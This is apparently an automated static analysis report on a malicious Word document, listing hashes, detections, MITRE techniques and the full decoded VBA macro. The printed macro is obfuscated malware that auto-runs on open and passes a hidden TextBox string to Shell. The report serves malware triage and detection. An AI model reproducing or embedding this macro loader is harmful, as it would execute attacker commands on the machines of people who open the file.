Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a1239284113534d4…

MALICIOUS

Office (OLE)

90.8 KB Created: 2018-12-14 08:56:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: a67ce1373fdaf5077806e5361a62ae97 SHA-1: 6a777e04bf6d8521f6aa95647a8c9ac214120f36 SHA-256: a1239284113534d46c778f4379c862b40cb659cb2d0ce8fa5fc6ebe509f8138e
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an auto-execute macro named 'autoopen'. Heuristics indicate a 'Shell()' call within the VBA code, suggesting it attempts to execute external commands or download additional payloads. The ClamAV detection and generic malware heuristic further support its malicious nature. The VBA script itself is heavily obfuscated, making it difficult to determine the exact payload or destination.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6786413-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6786413-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Set ZcmUsibLjkCjGXpPfwVQ = abjSZlJEZzZjfJh
tADaJcG = Array(qCDtM, siZiMLOzd, RTHcHGHX, Interaction.Shell(tMUuDDDScz, wGWANA), wjbEi)
   Select Case sLsANPmMRzjknOdXM
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
QWKuwsv
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9881 bytes
SHA-256: 07f3c12b9e7f55947718ee262803c2e05b5588632317d887736f57eabe253d74
Detection
ClamAV: No threats found
Obfuscation or payload: likely
266 of 310 identifiers look randomly generated (e.g. 'LmddEIUwFqOWwuTbGbWIRdsO') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rUPPOfMwM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
QWKuwsv
End Sub

Attribute VB_Name = "qScIRduGDDlRdq"
Function QWKuwsv()
On Error Resume Next
   Select Case VdZvwGHLTiPjXudMA
      Case 268361738
         AoZPsKHLnLFVmrqTmIr = KaPpLdBwpXtdYAd
         wNhlruUANIdshaqDIiO = Log(ZjDOIIVPRczlNOWZbGP)
         GPbDAIRPhqUqlECMJ = 123348243
         iZFilKsfSERcCTzTKIAO = qGhaHHzJMJPIdjpBjpsIdzKQ
      Case 93549604
         WmksEJEcsTXIdDsWF = 305435403
         TYmJSiSIGWqvRM = Log(kNYTFFEAnWiXLpPHtQOutj)
         SOlBzGBYFvoSfzmpwPYw = 256411929
         GGSqPziDSvAkFFTEGumwYc = Log(XkJHbRiUkpiIiiGqEt)
   End Select
Set dsRusjVsIiMoPi = vGFpDlnaQuazpVzDhFVwi
   Select Case WMKtjoRwmuvKzTqwQ
      Case 329390411
         OMKqjoYiDqKFvicqkTMEDu = iWJdFmfXwPazBLVdFHFOIbp
         bWdFcEtmUScUXK = Log(wXSLpViaiPpGwwflH)
         JBjJauuVoijjAGvpIrpP = 339806470
         swwqnwwopjUnNIjnzYRT = DrvOiLHpowrhiImKjHwZ
      Case 1435083
         COMtmFVtQzfwoEDbEmowBj = 193339947
         jzwcNRVujOojBpY = Log(TuftBfTiHICJlB)
         SlGKmItjzclRaQWZPOmiHE = 235439647
         DjOUEOMIfaVvvfl = Log(aNfQQOtRlimuwWhOBBGGuYb)
   End Select
Set QcmAuaikcsDtYSoomwiWb = KItHutYfzClvAnctX
   Select Case ZDMPtSUwqwjwzsFZhJHFQmm
      Case 65934951
         LTpXslboYXIEVza = VDmPVTWwifuhuanQCGiwiaz
         IHbVzVMLjOviAunr = Log(qpNrtuwjrBPPcMvGbHNsBBNS)
         BffFPISqAokkTOMclFUzv = 27499119
         zcZnZzvpcuIsPS = btwZbXKVHsBPPvtVmwcf
      Case 190807886
         VsrEwIqLWzKHibAWcipHRuY = 233709430
         tjZVvmnBkXEhWZBivWDF = Log(RSUQUwpVZaTHYFZ)
         qaKWFtDwoFFncVXUd = 154266677
         REFbnzfLzkazTcNFwsi = Log(YOXbOtBtDCwdBi)
   End Select
Set MlzWZahFLOHmLOQ = cuUDCjdMuvlIulwwpUB
Const wGWANA = 0
   Select Case WIEtjBTjXDNRin
      Case 227496870
         shtpzwmWXsfHXSTnKb = uCsrPBrkSjbzrjufkbzCX
         hWnVLJEjZHCDnQAqin = Log(OTqvsoadmiMLZMY)
         VDtpifiGUzosifuzLu = 63648050
         ravhkfSBNwcqPv = nkwZiljbvzhzGnOziDWc
      Case 312528828
         MECNjsYUwdiBGNN = 140252576
         QIwAhCjLNwwwnsTifXt = Log(UFqCaBEQFhBmJbGUwI)
         CVCStcWKlPSbpUwGLRvZ = 212703578
         QFjzJoLmwmXsqBSmzaDqSBnF = Log(SKVvDAiwDFwmwTiz)
   End Select
Set QjEwdznYUVWpfOSbkqdprulp = nvVAAHUrTkHAPpNhWjfLIXq
   Select Case AUwlkfSqVMRfNPLFaYSmjB
      Case 95984365
         BWUFFlspbrRjOHoszicrYa = vUBldutCzGKkOL
         kkTbEVwfqSjanAYW = Log(aSYkEAPvhoSaEXajm)
         sYwWizpKStTGBbjuKwncjjEj = 147125346
         fEmvJtACfwSDkavuiVbbn = qJMitJRJTQABSkXWjaFzwlb
      Case 40211087
         NhlBiFvuoOcifArk = 144337737
         CDjILWLmBVnuFhGRjcjH = Log(KFGdVuoEZNOaGZCdEWOqw)
         ZGtIvbNTPENtsw = 184911057
         pcWhbIZUzIEobFRRoGjA = Log(NzMrFwJMMhDBZhmTOcQjZ)
   End Select
Set mXYsJnwElSbvbcJq = JQImbAnBYizadPUKDM
   Select Case KLMTkrboBnKnlRa
      Case 321897390
         ifilRAPwoIBEsWvpUaE = YFzDbjXEZAuZOpPkiXtKzUv
         ajJROwQrVEBdhfJlcLZoN = Log(pCHLGzhuuDJOdsWGpaj)
         EKnlCDNIhmvHVw = 300629582
         KDsTJbJwUTCROWV = FJXfPVIDjZMIICtiwQwliPuc
      Case 636384
         RjBwtLQwCLaNrovokjOBpS = 171842369
         SzZkQpPvfZEZCmfBsL = Log(hDkZIqtfKNwzwJddwmffMwfh)
         kVmzENIdSsThYQtXK = 29557487
         jZFQYJjOMjnkXDHXUHhGA = Log(WjQKwXVmICswBsfFNoUwvz)
   End Select
Set IviRtZQczhqDYzONLtaX = sZCOsOtslBuYBIORGcNsZ
   Select Case roDbDVpikOJjOzfCoHtjROl
      Case 190986733
         BdSikVfQzIGCpKKVP = cPCtulaHSFWadDaMBr
         zAtdSPrYAwwjOCqINM = Log(jjIcDatYiDccISz)
         WjlkdDNZJVVIYnuNA = 301892010
         rrYpCYrMVYWnRQm = ZbcdfTiSiFlArIObPJ
      Case 41015626
         zuiLmqrBnhErlTVmYQd = 159555097
         GGznqVMJuYHKNWf = Log(QqpbjfBBtOXncDwjhPrnlYw)
         fssIwjYwqtIZnzbaFv = 298656969
         zZjrZbczisGruUwonsF = Log(qbzjuZskoRhpfUWF)
   End Select
Set BiUEaRznQiSAnnNq = lWczwAirJNKQMZwqdmKk
   Select Case qQANPNEsEkXSdSfnl
      Case 329173713
         KpzCKdMLiNpHId = iGRzZzNFMLTZIuju
         fHnasNqkDBZfOcPoTkYWnY = Log(zjkrqEDQvSCbAp)
         psbMWznaziEkpKLYwGEqr = 53747068
         zjzliMMAOzkvfubCGJ = mIlTOGjuDUvzshW
      Case 181466487
         WLJNliplEPfdXEwjiVOO = 83940220
         fuSJfSzsOJTufuAvBZviJ = Log(EQfQzSJLINTmjOubCXlMAWK)
         ZDjnUoSiboqCdPVhiCBF = 176573873
         NlAZXYwwqiFCqtlWrTvpKsY = Log(wnBEiwUECjpvmuQthiwHwbY)
   End Select
Set vMLhKliVMIbkWsSrNBA = DpjwCBHjuRvWOaIR
   Select Case LmddEIUwFqOWwuTbGbWIRdsO
      Case 19775909
         RHZWmbLODvwUrplQSkcid = IqnzrdiitPaXrMWjDmKiqYdm
         hXAKHmUEUwjjnkifUBitU = Log(YtjhpYvGkMBPKGhYldGTWOnz)
         CcCWWusQiwHaawvJO = 90222023
         iYZbzvPFnBbKGjRnvs = NSIzbHawLjKJIAQRrcAFa
      Case 49117970
         EOHoAqJJARizEZYzUXzEYc = 284798461
         JpSZKvmJGdDkUSZHBX = Log(sdAMsSffidDQcXnf)
         YkzEiVtaVodCzpDB = 118082263
         pIdaGfPEjDNbMjnOjRYGOIHm = Log(iBdknAPKZwWhwdUoZo)
   End Select
Set NubwOiFlcLkhBrDbdmTsDw = niQhlnERoTQYbDEOB
   Select Case nWzvADCoYIkmwtnROK
      Case 176096445
         KBUosBozXkIiMjn = NJVshMfQWwQqSoPLDLL
         CLDzPCRoAFZPFPEFohYzW = Log(SvkwhjVwaBVCWB)
         WdfurQQXAkDkJWW = 260218827
         PwsIOQViTDfYuDtC = SDsCfnCYjNiwLZENImXIzHMK
      Case 82752683
         MlwGjJhJESuKkLqjfDr = 233356103
         daKmQWtCLqiqHaQ = Log(cjURBVmSzCLSNcJTdQi)
         oUQnoHtbMUdlZKCW = 151012705
         FHnroOLboihPNqrFl = Log(QjducLGdZZsDZmw)
   End Select
Set LbXwjBcMTKtzHmuU = uGqpLfblLoljkJuSCfQ
   Select Case jfUmiHBNmsQSdQiB
      Case 252145989
         NoTzOilhiLlSbXlSZcJzFKq = lswszZXEYNQZtiQmAwc
         bUQsjLqCsmnCzuLVlthFoj = Log(OHLZqLWzIiAzRcDLniULmZN)
         wXuBGOXBvaClUmArWmf = 135237765
         ztthiuWTVHpujaTQVttKzCra = qBidpzusfBdBTYUBh
      Case 171879499
         MqlLjaAtlJzuCTOrs = 258115972
         fIvBEZqOBVYJRcZNbFpCCoG = Log(jhGaiEjcOruKRpj)
         qLzYMAfScFnlCknqBmSWSP = 213986383
         owvahPwmZCMrpiwiBnzcRuZd = Log(EIiXJUafBjPFFl)
   End Select
Set JAMAYwATqjViRDft = RWdHRPPilMowjdwCkT
tMUuDDDScz = rUPPOfMwM.TextBox1 + IbVqsniI + EHDoon + lzRmkMVJ + aScbbt + chkPLz + SHopNud + kHSWqTf + hoQJVY + NbrGfu + uNURLhDJ
   Select Case rffpIcvPWkoEoWuX
      Case 301760683
         zRFqkdcNjsonNUufdkmoVWD = hKjItsHjmVJWGB
         CNuwCaiWTJItKkFYaNEIatT = Log(olIBsLYZcpjaaaBawn)
         wkwzwhziJBsUJtbIR = 122720987
         iIljQUAiwAMdKmcVipnMU = cOXjUahzSjHRJHNBhcvCwiw
      Case 157697725
         ijYsTdGMjjWMhzazzidWs = 189240107
         HhHLQRvtRzBltIHwFA = Log(ZaqoAdVFzATBpG)
         QKMSqvonFNfNjosj = 153965485
         oDvRsGivMwszzMfjsw = Log(nKJlnkbVPpQHRwjACPzRGk)
   End Select
Set iruHPSizwvzkKfSHjRkSGvo = BRLdTsijCQatsdMDhsU
   Select Case QVOwOLGmVnrmfI
      Case 341167931
         LpXpjVOzrHEqASNVjNnK = jHszsEKwhiBsdus
         lRvGPGGHQmDZWCSV = Log(VbifsrQDAJZDzWYVIwvrDt)
         AlhGBlcfQjDISKhsaiDO = 323767298
         DSPiENEWdlbwhtLkPSYiI = tOFKaFUNAifShOrWjO
      Case 176538295
         DSjUdnhqPlqSZhYAZtnwBPk = 321923028
         OMwtslJDOTahlhmXi = Log(OnNtApqwnbbsnhjBObkwWAhO)
         NzSoMAbWRWJFULHC = 314750145
         icVftwjSLmhbOGwimrYIabAW = Log(LavuQduaCzmpiEUEtp)
   End Select
Set oqHCGmYPinXHbzJhXoYvIn = MHMtEmDEjlLhfD
   Select Case IKjGiHwCIVRsvNQHdtqsqjB
      Case 192651035
         fjkWkXDZGRDazMQfuibFWa = rosqsKDcJDRDaOfXwOS
         wMjdhZNvwZXSEItirjLODp = Log(XhIqRPKdrDlciHOJSzHijjw)
         SUwfRCElGSJwYjvjnwfOSfOb = 190083729
         tQvKKriKXwSiLozzVM = SkiCaqnAkfnGVDuJnqwHSNOL
      Case 339633327
         IlrOSJCdKmKOUUXqw = 199423524
         qzbQiMJZEfFWXCMhCJVNd = Log(ssHzZVckbPkaJR)
         UMCIkwzFQnMImVhcRHmEi = 59532182
         mozTEpmwsvAhzSEtFvnq = Log(NMpOumSTXMwLjPUm)
   End Select
Set tPirTMmnkKMNjJvSTZbH = KDTcVjBWQCkGaCY
   Select Case NwcORuDfbQLsPvofaM
      Case 174632917
         RCQMScmGvSRjpjrk = zJhEJUZhSKiVGBaP
         FLjPvoIwjIwcDjED = Log(aCsHIiqfAREkpRrTcb)
         EuEVZHZLbFPbiSkaYWFz = 192254998
         kvWDLurHIaIYwbWhSziWPZ = qaSEqTzWdCPJIzVwfTTzo
      Case 130189781
         TIEqDGOGaKKjdsp = 4647096
         KEiVjSNizDCCwcwWUzwlct = Log(PwowzSrDpTimkpjjq)
         IGCLDihOJJtsOMRoOZuTPPF = 339489497
         jRqLjkQGuTnNDsKR = Log(JiKzESVvaKoWctBDwTNrC)
   End Select
Set ZcmUsibLjkCjGXpPfwVQ = abjSZlJEZzZjfJh
tADaJcG = Array(qCDtM, siZiMLOzd, RTHcHGHX, Interaction.Shell(tMUuDDDScz, wGWANA), wjbEi)
   Select Case sLsANPmMRzjknOdXM
      Case 139368420
         mzQAZJZjYkvXBUQ = XYnwzrDEaELjLOkESIXRb
         TrofNcVciQWhGzZW = Log(vvMZVzpYKzrEtzz)
         MFvKUdbiwWvMiIl = 206634134
         AbVOlwtwHDciXoSXbuudMnRU = awBdtBOLItWdraGCLMaz
      Case 24918761
         hdpDOqBjMKBkLzrVNBN = 125216003
         vwtjTnbAarVazQYoq = Log(XJYjLcGPHKqzYlkMmhvTuD)
         jlSjKLiShXNqJqOkRdD = 214843742
         JbTjpnirsWtUjpvtv = Log(DYrJcKvbVYwdqqWKZKzwVYEb)
   End Select
Set AUWZBSrVhAIYAzIoNRFuPj = zYPltzaiTQVcpZ
   Select Case oLEsjFlVKGjYukS
      Case 274487950
         CbBGlZCNdYhUZZsSfHUiUZ = oaXfPUXMTwZsJdwD
         CfGjDAkjqFPdzHVcPMfNu = Log(tFMNWAhipjEjfpTikamzYP)
         jWrEPtRSprQlAUq = 195746616
         wHQiZNbfJlbFauOizcriv = oYNOrPDSKuwCBQzZJ
      Case 56366749
         ZFIpMOzCHDrwwpfSr = 135781368
         WMbqbhJYtzfXSiPW = Log(jjAzuNwPSvzNVwHF)
         mDzPhHDqDEcjYQjSSmITKbwf = 179252908
         lLLXzYSTwLYzwbz = Log(qITjtfNuCLwloKES)
   End Select
Set ZWrijFEOFTYuVohWBkqLsP = wRVnZjflGGJZEFf
End Function

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